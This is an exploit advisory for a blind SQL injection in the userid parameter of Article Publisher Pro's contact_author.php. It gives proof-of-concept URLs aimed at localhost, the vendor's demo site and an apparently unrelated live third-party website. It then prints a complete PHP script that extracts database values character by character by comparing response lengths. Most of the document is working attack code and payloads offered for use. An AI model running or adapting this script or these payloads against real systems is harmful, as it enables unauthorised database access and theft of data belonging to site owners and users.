Article Publisher PRO (userid) Remote SQL Injection Exploit

                                                ###########################################################################
# Kira has decide be back after halloween
###########################################################################
# Discovered by : Mountassif Moad
# Type Gap : Blind Sql Injection
# Script : Article Publisher Pro : http://www.phparticlescript.com/
# Greetz : Allah , All my freind
##########################################################################

P0c :

http://localhost/contact_author.php?userid=1+and+1=1   true

http://localhost/contact_author.php?userid=1+and+1=0   false

http://demo-article-publisher-pro.phparticlescript.com/contact_author.php?userid=1+and+1=1   true

http://demo-article-publisher-pro.phparticlescript.com/contact_author.php?userid=1+and+1=0   false

Exploit :

http://localhost/contact_author.php?userid=1+and+1=1+and+substring(@@version,1,1)=4   true

http://localhost/contact_author.php?userid=1+and+1=1+and+substring(@@version,1,1)=5   false

Demo Test :

http://fashiongumbo.com/contact_author.php?userid=1+and+1=1+and+substring(@@version,1,1)=4  true

http://fashiongumbo.com/contact_author.php?userid=1+and+1=1+and+substring(@@version,1,1)=5  false

code Exploit :

<?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
#      Article Publisher Pro - Blind SQL Injection Exploit    
#
###############################################################
#                                                            
#      Dork:        N/A
#      Usage:       php '.$argv[0].' [Target] [data]
#      Live Demo :
#      =>php '.$argv[0].' http://localhost/contact_author.php?userid=1 user()
#                                                            
###############################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."'+and+1=0"));
$t = abs((100-($w/$r*100)));
echo "\n".$argv[2].": ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((".$argv[2]."),".$i.",1))!=0"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((".$argv[2]."),".$j.",1))%3E".$i.""));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((".$argv[2]."),".$j.",1))%3E".($i-1).""));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}

} else {
echo "\nExploiting failed: ar u sur your link have a real id user \n";
}
?>